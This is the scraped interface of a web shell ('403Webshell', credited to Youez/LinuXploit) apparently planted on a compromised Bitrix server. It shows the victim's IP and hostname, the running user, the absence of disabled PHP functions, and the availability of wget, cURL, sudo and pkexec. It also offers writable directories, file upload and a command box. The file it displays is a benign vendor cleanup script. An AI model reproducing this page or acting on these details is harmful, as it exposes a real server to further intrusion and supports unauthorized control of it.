403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /opt/webdir/bin/rpm_package/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /opt/webdir/bin/rpm_package/cleaner.sh
#!/usr/bin/bash
#
#set -x
#
export LANG=en_US.UTF-8
export PATH=/sbin:/bin:/usr/sbin:/usr/bin
export NOLOCALE=yes

PWD=$0

# clean root password file
ROOTPASSWORD=/root/ROOT_PASSWORD

is_changed=$(chage -l root | grep "Password expires" | grep "password must be changed" -c)
if [[ $is_changed -eq 0 ]]; then
    rm -f $ROOTPASSWORD

    # clean selfy
    ROOTBASH_PROFILE=/root/.bash_profile
    sed -i ":$PWD:d" $ROOTBASH_PROFILE

    # update logon screen
    /opt/webdir/bin/bx_motd > /etc/issue 2>/dev/null

    # delete
    # echo /opt/webdir/bin/rpm_package/cleaner.sh >> /root/.bash_profile
    sed -i '/\/opt\/webdir\/bin\/rpm_package\/cleaner\.sh/d' \
        /root/.bash_profile
fi

Youez - 2016 - github.com/yon3zu
LinuXploit